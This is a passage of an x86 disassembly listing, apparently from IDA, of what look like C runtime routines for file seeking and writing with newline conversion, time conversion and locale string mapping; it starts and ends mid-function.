		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2

loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh

loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh

loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2

loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DB328
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------

loc_422599:				; DATA XREF: ___:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42259D:				; DATA XREF: ___:00427924o
		mov	esp, [ebp+var_18]

loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0

loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_4225AD:				; DATA XREF: ___:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43C8C4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------

loc_4225EF:				; DATA XREF: ___:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4225F3:				; DATA XREF: ___:0042793Co
		mov	esp, [ebp+var_18]

loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0

loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_422603:				; DATA XREF: ___:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DC908
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------

loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------

loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------

loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]

loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2670000h

loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43CD8C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi

loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43CCA8
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43CCAC, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721

loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43CCB0

loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------

loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh

loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DC6C0
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB278, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------

loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 2780000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		nop
		call	near ptr 2690CE2h
		jmp	short loc_422791
; ---------------------------------------------------------------------------

loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax

loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------

loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------

loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9

loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh

loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx

loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DC5C0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx

loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]

loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------

loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB278, 16h

loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------

loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax

loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]

loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------

loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------

loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB

loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]

loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4

loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]

loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax

loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx

loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DC6C0
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E

loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------

loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch

loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85

loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]

loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax

loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4

loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2700000h
		nop
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E

loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi

loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB278, 9
		mov	dword_4DB27C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------

loc_422A42:				; CODE XREF: sub_42291D+E0j
		nop
		call	near ptr 2690CE2h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------

loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------

loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 2690CE2h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------

loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------

loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967

loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB278, 1Ch
		mov	dword_4DB27C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------

loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------

loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9

loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh

loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DB34C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DB34C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------

loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CAE2C
		push	esi
		push	edi
		call	near ptr 2660000h
		nop
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DB34C, 2

loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DB34C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		jmp	loc_422C5A
; ---------------------------------------------------------------------------

loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax

loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jnz	loc_422CE7

loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax

loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------

loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2821017h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58

loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
